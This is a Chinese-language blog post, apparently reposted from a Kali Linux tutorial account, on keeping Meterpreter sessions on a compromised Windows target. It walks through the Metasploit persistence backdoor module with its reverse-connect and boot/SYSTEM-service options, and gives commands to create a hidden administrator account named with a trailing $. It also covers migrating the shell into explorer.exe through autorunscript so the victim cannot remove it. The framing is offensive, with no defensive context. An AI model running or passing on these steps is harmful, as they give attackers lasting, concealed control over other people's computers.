ITPub博客

首页 > 数据库 > 数据库开发技术 > 如何建立持久性的Meterpreter会话

如何建立持久性的Meterpreter会话

原创 数据库开发技术 作者:逍遥子 时间:2022-05-09 08:00:00 0 删除 编辑

我们用Msf获得目标SHELL后。当目标主机关机或者关闭程序后,我们得到的反弹会话也会关闭。那么我们该如何建立持久性的连接呢?

🚸使用persistence模块

使用persistence模块可在目标计算机上安装一个永久性后门,即使有一天目标计算机修补了漏洞,我们仍然可以通过这个连接来实现对目标计算机的控制。

常用参数:

-X开机自启动

-i payload重连的间隔时间

-p反向连接端口号

-r 反向连接IP地址

🚧详细信息

meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host. 
OPTIONS:
     -A        Automatically start a matching exploit/multi/handler to connect to the agent    
     -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.    
     -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.    
     -S        Automatically start the agent on boot as a service (with SYSTEM privileges)    
     -T <opt>  Alternate executable template to use    
     -U        Automatically start the agent when the User logs on
     -X        Automatically start the agent when the system boots
     -h        This help menu    
     -i <opt>  The interval in seconds between each connection attempt    
     -p <opt>  The port on which the system running Metasploit is listening    
     -r <opt>  The IP of the system running Metasploit listening for the connect back

⛵建隐藏用户

获取目标主机的远程命令行shell如果出错,可能是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再试一试。在cmd下输入以下

# 创建用户($符号,可以起到隐藏创建用户的目的)
net user test$ 123456 /add
# 将创建的用户添加到管理员组
net localgroup administrators test$ /add

✈️进程迁移

1.在Meterpreter下输入ps(获取目标机正在运行的进程,记住目标进程的pid xxxx)

2.输入getpid命令(查看meterpreter shell的进程号)

3.输入migrate xxxx(将meterpreter shell的pid调到xxxx里相对稳定应用的进程里)

4.最后用getpid再次查看下是否更换成功。

🛰️上线后自动化迁移指定进程

在set payload windows/meterpreter/reverse_tcp和设置完了端口与HOST的时候,执行如下命令:set autorunscript migrate -n explorer.exe意思是上线后将shell进程迁移到了资源管理器。防止被用户删除掉,然后丢失目标。

更多有趣教程 关注我们

原文作者:Kali笔记;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444347